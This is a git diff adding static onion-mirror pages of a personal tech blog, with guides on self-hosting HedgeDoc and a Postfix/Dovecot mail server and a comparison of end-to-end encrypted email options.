    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/docker/page/1/index.html b/public-onion/tags/docker/page/1/index.html new file mode 100644 index 0000000..77373a5 --- /dev/null +++ b/public-onion/tags/docker/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/ + + + + + + diff --git a/public-onion/tags/dovecot/index.html b/public-onion/tags/dovecot/index.html new file mode 100644 index 0000000..09cd404 --- /dev/null +++ b/public-onion/tags/dovecot/index.html @@ -0,0 +1,354 @@ + + + + + + + +Dovecot | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/dovecot/index.xml b/public-onion/tags/dovecot/index.xml new file mode 100644 index 0000000..4efe11a --- /dev/null +++ b/public-onion/tags/dovecot/index.xml @@ -0,0 +1,154 @@ + + + + Dovecot on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dovecot/ + Recent content in Dovecot on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/dovecot/page/1/index.html b/public-onion/tags/dovecot/page/1/index.html new file mode 100644 index 0000000..dabc86b --- /dev/null +++ b/public-onion/tags/dovecot/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dovecot/ + + + + + + diff --git a/public-onion/tags/e2ee/index.html b/public-onion/tags/e2ee/index.html new file mode 100644 index 0000000..7e32b79 --- /dev/null +++ b/public-onion/tags/e2ee/index.html @@ -0,0 +1,352 @@ + + + + + + + +E2ee | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/e2ee/index.xml b/public-onion/tags/e2ee/index.xml new file mode 100644 index 0000000..4e3ae40 --- /dev/null +++ b/public-onion/tags/e2ee/index.xml @@ -0,0 +1,177 @@ + + + + E2ee on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/e2ee/ + Recent content in E2ee on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

